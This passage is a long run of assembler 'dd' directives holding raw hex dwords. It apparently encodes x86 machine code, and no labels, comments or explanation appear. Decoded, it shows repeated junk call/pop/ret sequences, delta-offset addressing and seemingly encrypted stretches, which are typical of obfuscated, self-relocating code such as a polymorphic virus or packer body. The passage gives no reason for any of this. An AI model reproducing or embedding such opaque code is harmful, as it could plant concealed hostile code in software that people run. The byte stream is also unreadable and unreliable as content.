1D042444h dd 41000000h, 0C298C351h, 9DDCEC3Fh, 96298442h, 258964h dd 0E9000000h, 13h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 2E1CE195h dd 0FF1FA9CCh, 2B1E0D85h, 8D895306h, 62B192Dh, 6AFF6A5Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0E1A6C352h, 16AF1F4Fh, 0C39EE607h, 38E0Fh dd 8B660000h, 19B5FFDAh, 8B062B12h, 2B0E99BDh, 0A995FF06h dd 0E9062B11h, 117h, 1C38B60h, 2B34319Dh, 0B06106h, 2CE1BD8Bh dd 70E6062Bh, 71E4FB8Bh, 0FEF6CB81h, 9589391Fh, 62B0D79h dd 830F613Ch, 0EBh, 68B0Fh, 0BD2B0000h, 62B0C31h, 0FC8B60Fh dd 6BAD9BFh, 8B000000h, 2B1741BDh, 0E9C18B06h, 14h, 0C6767340h dd 4CF741CCh, 5C6E6496h, 23857E15h, 1503AA6Ah, 0E904E8C1h dd 10h, 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh dd 8BE2F766h, 2B1E259Dh, 2BEBB306h, 0E38166C8h, 0D18B684Fh dd 0AE9h, 3B831100h, 1B4F3D26h, 0E9EAA441h, 73h, 32ED9589h dd 858B062Bh, 8, 7CE8E6BFh, 7C0836Fh, 0C083DA8Bh, 3800F00h dd 0F000000h, 0D03BF9BFh, 14830Fh, 840F0000h, 3, 0E912C780h dd 3Bh, 9819D29h, 8D8B062Bh, 0FFFFFFFFh, 0BD8BDE8Bh, 62B2F11h dd 0F01E183h, 1E84h, 7ED38000h, 83D88B66h, 0FFFFFFA5h dd 9D03FEFFh, 62B2B5Dh, 89589h, 0E90000h, 8D000000h, 2F52ABB5h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 59D4D36Bh, 452D8A90h, 33006A37h, 2B2C49BDh dd 4595FF06h, 6A062B29h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0CFC4C352h, 49D7C8F6h dd 0D780CB1Bh, 1071B9ADh, 14E90000h, 42000000h, 0FA9815CEh dd 56A242Ah, 0CB67D726h, 37B2C23Dh, 815DD0D1h, 0D86889C7h dd 0FCE1830Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0C35747h, 0BA3BF746h, 33599D31h, 1FC062Bh, 2B183985h dd 0B806h, 0FE90000h, 0C5000000h, 84E8A1D0h, 66279B9Fh dd 0E8CB1448h, 0D22B1F1Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 81C35242h, 1B358D89h, 8C0F062Bh, 0 dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0A8C35141h, 66812CACh, 6053F88Bh dd 0B99B529h, 61F5062Bh, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0BE90ADADh, 0FA8B66B1h dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 393E89D9h, 58EDDDC6h, 8B53560Bh dd 2B2119BDh, 958B5B06h, 62B0EE1h, 16E1BD8Bh, 0BD31062Bh dd 62B2715h, 21E18D8Bh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 690892C3h, 306F312Ah dd 0B351F5ADh, 87BB5F43h, 50543A09h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 6A6EF2h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66A781C3h, 834FFBBBh, 2B05A9BDh, 840F0006h, 6Fh, 25B99D8Bh dd 8B0F062Bh, 2, 0B85F51h, 0BB000000h, 4B0511A9h, 4EA18D8Dh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 9A153C3h, 8D0F6084h, 2, 0D2815851h, 0F35D624h dd 6AE1FF61h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 4948C356h, 83F838E6h, 2B2BE5BDh dd 840F0006h, 511h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 6C35545h, 437F9054h, 68F0Fh, 85290000h dd 62B2EFDh, 2BE5BD83h, 0F01062Bh, 4F384h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 39FD1F6Dh, 0E9F7543Bh, 0F0DBD8Bh, 0BD83062Bh, 62B2BE5h dd 87860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0A81C355h, 0B56F6D5h dd 2B00B19Dh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0BD23F1C3h, 62B1129h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 57E9C357h, 0BD8B5222h, 62B0825h, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 8603C351h, 1FF9FF6Fh, 1C118D89h, 0C90A062Bh dd 100840Fh, 0BF660000h, 858B5ED0h, 62B1EB5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 31C35545h, 0A6991B07h dd 81667D61h, 33D211C7h, 2B258D85h, 29B50906h, 50062B19h dd 4860Fh, 60510000h, 4895F61h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0B67C5C87h dd 0B958040h, 6AF88A5Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 85388CE8h, 0C8D0Fh, 8B0F0000h dd 6, 29059D8Bh, 0DA68062Bh, 662E53CBh, 3481F88Bh, 4CC82524h dd 56006A2Eh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 45E60CE0h, 66134232h, 729FE381h, 91D95FFh dd 8166062Bh, 8960A1D7h, 2EB5B085h, 0B58B6006h, 62B3015h dd 57E38166h, 21E9610Dh, 0F000002h, 858BFFBFh, 62EB5A8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h dd 5FA29D7Ch, 0D9BBBD30h, 0DA1EF381h, 0C7554Bh, 18h, 13E9h dd 0C0574700h, 72981DEDh, 0B2DE2EDEh, 0D86C2DFBh, 86BCA463h dd 9EF9F781h, 0B58B781Ah, 62EB5ACh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 6C35040h, 858BDE8Bh, 62B16C5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C8C35646h dd 0B58918F5h, 62B0A59h, 9D890689h, 62B2D81h, 1EB5858Bh dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0D69BD0C3h, 53B661D1h, 0E917DDA0h, 9, 0B6684C11h dd 8CA6BA44h, 446893Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 30C35343h, 0F88A233Ch, 13850F50h, 0E9000000h dd 0Eh, 15D9E148h, 9F3B3AC9h, 8E64B6C8h, 34895E2Fh, 57D9BB24h dd 0B5FF475Ch, 62EB5A8h, 4E8F5h, 3FF0000h, 9E8001Fh, 0B0000000h dd 91E2D64Ah, 0BF89E84Ch, 6840Fh, 820F0000h, 0 dd 14E8505Fh, 0CF000000h, 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch dd 941D11B7h, 0B333FBD8h, 448B5FADh, 0BF660424h, 8B5105h dd 4489FA8Bh, 12E90424h, 0BF000000h, 9804750Fh, 0D07FA7B3h dd 0EBBDE01Bh, 0C9FB1E6Ch, 0FA8B5890h, 0B5B0858Dh, 6A062Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 1FEE1BC3h, 0C1142E74h, 8D2952B8h, 62B2F69h, 11E850h dd 863E0000h, 2915B93Ch, 0DA2A9865h, 6CB4FD50h, 50873931h dd 6E9h, 7AC42C00h, 5B18CCCFh, 2404895Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 17h, 0C5C35242h, 0F58E6F2Fh dd 91D95FFh, 0BD8B062Bh, 62B0561h, 55006A61h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0FE8E7E4h dd 93000000h, 0C2367F9Dh, 7BF05BDh, 0C794F209h, 5FFC17DBh dd 85C7D98Bh, 62B2BE5h, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 2EC35343h, 2DFBB2DEh, 9589D86Ch, 62B1FA1h dd 0BD83D98Bh, 62EB5B0h, 4F840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0F194C351h, 47E96Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 24CE03C3h, 0BB27B90Eh dd 2195C89Ch, 1F119D8Bh, 3050062Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E9C5D069h dd 0Eh, 0E8A526B3h, 0D5E9EB28h, 0D9901ED3h, 9D89F916h dd 62B062Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0EFC35141h, 2D001110h, 0CA3EA813h, 0BD83D88Bh dd 62B2BE5h, 0A9850F03h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E7C5C351h dd 0B5B0BD83h, 0F00062Eh, 47F84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9D8B81BBh dd 62B2B79h, 0B5B0B5FFh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 541359C3h, 7C7386CFh dd 7595FFFFh, 6A062B01h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 1C13C350h, 2ABDBD8Bh dd 8D89062Bh, 62B0F21h, 0CE9h, 0EBCA7100h, 99C772C3h, 0D20210AAh dd 0A4B58B8Bh, 0F8062EB5h, 106C7h, 6A0001h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 96A0A3C3h dd 5870Fh, 0F6BB0000h, 5019E446h, 0EC8A6060h, 0DE8h, 0BAEF8400h dd 22B716DFh, 3702FFF2h, 6159FB21h, 9661F18Bh, 1DA1B509h dd 0B5FF062Bh, 62EB5B0h, 16DD9D8Bh, 95FF062Bh, 62B1555h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 36C35040h dd 26EA8E39h, 8BDFBF0Fh, 2B081DBDh, 0A4B58B06h, 89062EB5h dd 2B25E195h, 0D9858B06h, 6A062B1Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0DFE7C357h dd 0E9D3C0BDh, 9, 33B187A9h, 58D444B8h, 0C4868908h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 49ABC352h, 7E9h, 0DA8EE900h, 6167CBCh, 0EE1958Bh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C83402C3h, 8589B0B5h, 62B24C1h, 68B0Fh dd 8D290000h, 62B0A11h, 6A04C283h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 69FCC351h dd 0C56BF2F6h, 29E3EE57h, 2B07D18Dh, 0FE95306h, 30000000h dd 29D1CDEh, 0D60AD89Dh, 0DDE2EAA2h, 8B5FBED1h, 2B2611BDh dd 20508906h, 323D8509h, 858D062Bh, 62ECA4Eh, 1219D8Bh dd 0BB66062Bh, 8689B4C4h, 0B8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 30C35545h, 6AD98Bh, 12E9h dd 51DB3900h, 0B6EAFEC2h, 0AD8486D6h, 8DF397C1h, 0FF63FDF9h dd 2EB5B0B5h, 662EB706h, 0FFD5D7BBh, 2B05E195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 1B28B887h, 2CC01098h, 0BE9B5h, 2CB00000h, 0AFACB985h dd 0B4D3CB5Dh, 890F506Ah, 5, 9E680ABBh, 24348953h, 0FFDFBF0Fh dd 2EB5B0B5h, 0F88B6606h, 156995FFh, 6A062Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 5D0A19C3h dd 76426778h, 9DBD83D7h, 62B1Dh, 55840Fh, 12E90000h, 0A3000000h dd 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h, 0DE896E3h dd 61000000h, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 67B7505Bh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 795E35B8h, 0DEEB81BFh, 0FF7B1F35h, 2EB5B0B5h dd 0BD8B5006h, 62B348Dh, 6DBD095Bh, 0FF062B05h, 2B2E1195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 368CBE25h, 5A531001h, 0D1BD8BD0h, 0FF062B1Ch dd 2EB5B0B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8166BA4Ch, 0FF475DE3h, 2B240D95h dd 0B99D8906h, 83062B2Fh, 2B2E29BDh, 840F0206h, 79h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 0B70F6678h dd 0EE853D8h, 0B2000000h, 221741ECh, 75798492h, 862546CEh dd 8E0FA9h, 5F000000h, 39858B5Bh, 6A062B2Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0F546C352h, 0FBB70F56h, 0F0000C6h, 0C8Dh, 68D0F00h dd 0F000000h, 84h, 2585C700h, 62B09h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 881DC351h, 56A7246Dh, 530C9B36h, 0FFF1A0E9h, 58D89FFh dd 8B062B12h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 1B705CDBh, 0E8A8BF40h, 5, 871D82A7h dd 17830F65h, 0E9000000h, 12h, 0F28B4569h, 99EF79AEh, 449EC102h dd 0A7F19862h, 0E95FDA1Dh, 25h, 6D410FA6h, 8 dup(0) dd 538E900h, 0EE6F0000h, 9AC1DEDAh, 4B116EAAh, 0E75EB975h dd 0B4AAC5C1h, 34EB1692h, 118DB7ABh, 0A66264F6h, 0F02C1049h dd 3FFBDD97h, 8A2CE5Dh, 7D92C426h, 0C781E3C7h, 461B76E1h dd 0A5F88B02h, 0F8BBDh, 0C0C56775h, 0A6B894EBh, 0C0812B39h dd 6AF494EBh, 0C2E45CA3h, 37D292E9h, 0ACB21923h, 0F164BB10h dd 1E17FCCFh, 0EACC842Ah, 0E362212Eh, 0D6F06AC5h, 6E97C8D7h dd 7E4016EBh, 7DA209E2h, 20EEC7AEh, 309F3B57h, 0F4351355h dd 5468F10Eh, 0F2D48C0Bh, 0F5880119h, 851B4A6h, 404F9834h dd 9C59E283h, 0F1840565h, 9643B6AAh, 26E5CFDh, 2D705BF7h dd 0C8B81335h, 0CFE7155h, 0E8713509h, 85BFD8D4h, 1F5934A3h dd 5D4CD239h, 3A7702CEh, 0E75894EBh, 0D37BF723h, 0A1237D97h dd 24000000h, 9B9DB779h, 0FDB780C4h, 23A766C0h, 0AE1C781h dd 0EBC03AC6h, 0AD97C794h, 0A740035Eh, 9E6D89B3h, 0DC9377EEh dd 0CF930E59h, 810816F5h, 0B3FEA498h, 0BBDF219Fh, 25DC73C6h dd 8CBE659Ah, 541EB970h, 87D97D3h, 1, 29DA81CAh, 0A2BC0F31h dd 0FBA6A506h, 843EAD50h, 859C0D5Fh, 0BE1DEEDEh, 414AA187h dd 4B7DE3BEh, 2DDFED60h, 2094EBD7h, 0F26BA23Eh, 83C5980Eh dd 9D68E807h, 903FB403h, 0FF623D89h, 0C05CE2C9h, 1B3C5BC4h dd 7987CA21h, 94EBBDF7h, 0F78948Ah, 0C5071547h, 2BAF5E5Ah dd 4E7D981h, 49A2A2B9h, 2D8145FEh, 0AAC035h, 28FCDD60h dd 7DF7108Ch, 372D705Bh, 941622h, 71E994EBh, 0E110F6D5h dd 9F85F11Dh, 44437D97h, 2BE02913h, 72h, 0D6E271B7h, 94EBC054h dd 30463129h, 7AAF25Ch, 0B4F525Bh, 0D187DA31h, 0FA16282Ch dd 0AC8ACA11h, 645E005Fh, 0B397AC87h, 685CD53Ch, 0B14BC7B2h dd 59CCECE3h, 0A96046FEh, 0C23E0056h, 1748BDA5h, 2440DE2Dh dd 1CF978C7h, 5E60224h, 0E210F40Dh, 7D97D798h, 572Ch, 0D981AE00h dd 0BD0E3024h, 0A8C4FA5Eh, 0FF60BF0Ch, 360FE6C5h, 0C0FA5C52h dd 1271D0C4h, 0C1EF784Eh, 94EBC02Fh, 0B2CD3C22h, 1F3299AFh dd 683F5290h, 0EB2291DBh, 0EBF354E5h, 8BADA794h, 8384DD20h dd 7B07E4C0h, 0EE070CDFh, 9122571Ah, 0CE581ADh, 1997D97h dd 45000000h, 6E5DB81h, 0B2F1BC4Bh, 0A5C88828h, 5D812B35h dd 6AF494EBh, 0C2E45CA3h, 0ECBEE695h, 5CE7B18Ch, 10943A13h dd 0C8C1A834h, 39C44B35h, 9DEC9EAAh, 0F96194EBh, 0EB9D5DEFh dd 0FF2E3094h, 0C1DC8246h, 344AA187h, 90B6AAF5h, 48A51514h dd 4F15701Fh, 0A4F9279h, 0AD9A36h, 36A64AB9h, 1B7A1697h dd 328AC6F3h, 73E4A32Ch, 6ECD4049h, 0BBD4D0F6h, 0C4FE5CB9h dd 0EC3F5BE7h, 3EE350E0h, 4C30356Dh, 0CCC8EE66h, 3497B1B3h dd 62496FE9h, 83913C13h, 6D3EE3E9h, 4755829Ch, 6D3EE3A5h dd 0DE4746D8h, 0AA8CC4EAh, 0FCFD696Eh, 0F7A1776Bh, 2D000000h dd 4A111F6Fh, 0BE89917Ah, 0AABF9AA5h, 70DF7B7Fh, 0C6AD4D64h dd 0CD1E008Ah, 0D4D0F66Eh, 0FA5CB9BBh, 3B57EBC0h, 0EDCB8DD0h dd 0B296CF1Eh, 0A66244FCh, 6C4B3531h, 50E977h, 6FF50000h dd 0F984D320h, 326F588Ah, 494080B9h, 0EBFCC547h, 62F99414h dd 56C8AB62h, 0FCD55775h, 203414EBh, 0E86ECD1Eh, 0E710F5D6h dd 0AD444C23h, 64CC3BD9h, 23ACC8F2h, 0EBFCFB15h, 94100E94h dd 798Fh, 0B9A5E000h, 45223C8Fh, 0BFC3281Ch, 1F6F484Eh dd 97744811h, 0A5E06F8Bh, 2C2388BCh, 0EBC06E00h, 0E37FE394h dd 5819272Ah, 0DB753924h, 0C70A89ACh, 6D9CFE7Fh, 0E43B908Eh dd 314E4A6Ch, 16BA1137h, 6D3F2E89h, 3F7357ECh, 66E72305h dd 628ED916h, 730FC988h, 338E5DFDh, 0CDC81731h, 0A477B696h dd 0C77D41F4h, 0DFED7A77h, 797E306Dh, 0C251FE60h, 9EE234B6h dd 0D8D14979h, 271766Ah, 0E54D852Fh, 0A65756EEh, 23CE1956h dd 8D5CC774h, 0C6C70E36h, 0DB8F60CAh, 2685958Ah, 0D7E96C2Bh dd 5CA36AF4h, 0A9C6C2E4h, 2D0B4AAFh, 0CF963A91h, 0BA19CAF2h dd 0F44BA0A6h, 2F725963h, 6194162Ah, 22DBCA9Dh, 2E08485Eh dd 0F5D395F2h, 0AC88CB16h, 0D4A8AD5Fh, 0D4F0732Eh, 5FA26BF7h dd 674100E5h, 0F15EFA84h, 34F5D392h, 0D237314Eh, 0CF1CB88Eh dd 0A84h, 0C79AF900h, 95142A81h, 817A5EF1h, 0BC03E8DCh dd 0F249A284h, 2D705B6Dh, 69B41731h, 0A1FCCFF1h, 0D92487B9h dd 0E6DBE9Eh, 4897744Ah, 8D83315h, 81E28952h, 4C2h, 4BB5300h dd 29000000h, 14875BDAh, 9685C24h, 89000031h, 8952241Ch dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 0E6EEBE56h dd 5B56062Fh, 348B545Eh, 4C48324h, 53DF8957h, 5E89FB89h dd 8B5F5B08h, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 241C8B5Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FB939FE9h dd 90AB18FFh, 2806408Ch, 63D0D7C9h, 9CB8D01Ch, 3062FEBh dd 5AE0FFC5h, 473BFCCBh, 35A5440h, 605814ADh, 2700802h dd 27A125Bh, 5C325FFDh, 0A96BC1A3h, 0F60D064h, 0BF32F89Bh dd 2131FCB9h, 737E0E37h, 118D18Fh, 2B18B1B3h, 0C56508B7h dd 1750701Fh, 465C687Fh, 0EC35EC58h, 75696FA7h, 6317E008h dd 733DB51Bh, 2B5CF3F1h, 5F37D999h, 43481385h, 9118A9B5h dd 8373ADB3h, 0BB5C08CFh, 8D08F459h, 2B2FC185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 85651462h, 14E998h, 0B06B0000h, 0A426801Bh, 0FA4BD551h dd 0DEA2421Bh, 3C554B9Eh, 8956C616h, 2B21A195h, 8A905F06h dd 0BE850FEh, 71000000h, 0E9DCB85Bh, 0BD8393A0h, 0BB66559Ch dd 905B7D91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 69C35242h, 3A747FEh, 1ABB2F00h, 6A5F49FAh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0A1B9702Ah, 0C9222CF7h, 6AF949h, 115BD2Bh, 858D062Bh dd 62FEE84h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0A2C35545h, 649DB663h, 0AB4C9AEFh, 0F88B6634h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 30D7C350h, 0B70972A5h, 0D235D49Fh dd 45D38166h, 8B66509Ah, 240489FEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 95C35343h, 0B70F006Ah, 3FBF66FAh dd 0B7006ACFh, 0E195FF36h, 81062B34h, 0E7E6FAC3h, 0AA8D8D55h dd 6A062EA6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0FB29C352h, 9D2C6832h, 0BD33CCD2h dd 62B0B01h, 0DA8BD1FFh, 0A01BD83h, 0F01062Bh, 5B85h, 0A8BF6600h dd 81026A24h, 0EB324FDFh, 5E9507Ah, 81000000h, 0B2AFFB24h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0BE9FC355h, 5E195FFh, 6A062Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 48F8B6C3h, 0D79E9h, 0E800h, 815D0000h, 2FEE8EEDh, 0FDB52906h dd 6A062B26h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 8292C353h, 79D8721Ah, 66CB4E61h dd 858DDF8Bh, 62E993Ah, 90D98B66h, 8A50A1B7h, 0D88B90DEh dd 35FF64h, 0B7000000h, 25896454h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7DC35141h dd 8E0FF474h, 9, 3890Fh, 0B70F0000h, 0D85FFDEh, 29062B1Eh dd 2B34C595h, 319D8B06h, 6A062B2Bh, 0B5FFF5FFh, 62B2EF1h dd 11A995FFh, 0FEE9062Bh, 89000000h, 2B1721BDh, 900B006h dd 2B064D8Dh, 8070E606h, 71E490D7h, 580A7ABBh, 0F613C78h dd 0DC83h, 0C5B52900h, 0F062B08h, 8166C8B6h, 0BAAFE2CBh dd 6, 6890Fh, 0CB810000h, 53990C50h, 0EBB7C18Bh, 6604E8C1h dd 0A1F4DF81h, 0F766D98Bh, 38C0FE2h, 66000000h, 0C82BFA8Bh dd 6850F57h, 89000000h, 2B0B11BDh, 0D18B5B06h, 68D0FF8h dd 8B000000h, 2B1839BDh, 7FE906h, 72BF0000h, 8B42CBD6h dd 185h, 59B58900h, 83062B27h, 0FE8B07C0h, 0F900C083h dd 8AD78166h, 0FD03B92h, 1A83h, 0AE900h, 0EE120000h, 28F6EFF0h dd 0FADB8C59h, 44E9h, 82C38100h, 8B132C66h, 0FFFFFF8Dh dd 9DBD8BFFh, 8B062B10h, 2B15F19Dh, 1E18306h, 23840Fh dd 31530000h, 2B0A8595h, 0A5835F06h, 0FFFFFFFFh, 9BD01FEh dd 89062B19h, 195h, 0DAB70F00h, 0E9h, 1CB58D00h, 66062F63h dd 0C5A2E781h, 0B501006Ah, 62B084Dh, 294595FFh, 0B9FC062Bh dd 0F7Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0CBC35242h, 95E381C7h, 83622CF2h, 6AFCE1h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0E9FCE3C3h, 8, 268A80Dh, 44EAF4BAh, 6AC02Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F6BECFC3h, 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 2A8CBBE1h, 33AD0835h dd 3E8D1C2h, 4E983D0h, 8B60F475h, 2B0FC19Dh, 0AB11BF06h dd 60610B46h, 373AC081h, 8C0F4BB1h, 17h, 12E9h, 0F9790000h dd 0DD052BC1h, 0B4AFED2Ah, 855624D6h, 6186B28Bh, 880Dh dd 0E1958B00h, 0F062B0Eh, 682h, 0B3CB8100h, 81719EADh dd 0BA45ECC3h, 0E18D8B22h, 66062B21h, 8B5CB8BBh, 2B2F819Dh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0AAEC355h, 0BD03472Ch, 62B013Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2C35242h, 934B8C69h dd 8326539Ch, 2B05A9BDh, 840F0006h, 42h, 449CBB66h, 0B8h dd 0A18D8D00h, 6A062B4Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0F0F4C356h, 3F8968B5h dd 0A9BF662Dh, 0F73BBB0Bh, 0E1FF1D72h, 30898589h, 0BD83062Bh dd 62B2BE5h, 3A840F00h, 6A000005h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8C53C350h dd 0E5BD83B5h, 1062B2Bh, 52A840Fh, 0C7810000h, 51D0889Dh dd 2BE5BD83h, 0F03062Bh, 4E186h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 4A0F0E02h dd 0BB3D43EBh, 381F1B2Dh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 209670A1h dd 8BC398F4h, 0D98C66F8h, 7E9h, 0D1E41500h, 53A88EC7h dd 6A04E180h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 99EC351h, 9409110Bh, 12E894h dd 0A46A0000h, 5F1C6E5h, 360A387Bh, 0F761A067h, 8BE18A6Ch dd 5BFAB70Fh, 840FC90Ah, 181h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 95C35747h, 756D6B1Ah, 0F9B70F5Ah dd 91BD8Bh, 858B062Bh, 62B1EB5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 9EC35545h, 9858932h, 33062B2Ch dd 2B258D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 7DA2DBD4h, 7958D29h, 8951062Bh, 2B052195h dd 50905F06h, 0E8310F52h, 0Eh, 75201DC5h, 0B6AE793Fh, 0E05C2BF2h dd 6160D8F4h, 50585A5Bh, 50D301BBh, 6A9000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E02817C3h dd 3411DCC0h, 0F9B0551h, 68Eh, 0F5D78100h, 6A4C1B89h, 8BFB8B00h dd 2B17F5BDh, 0B6676806h, 0DE8B001Ah, 98243481h, 6A0005B5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 98B4C350h, 91D95FFh, 6A062Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 9F94CAC3h dd 0C75106EBh, 800F7A0Eh, 0Ch, 6840Fh, 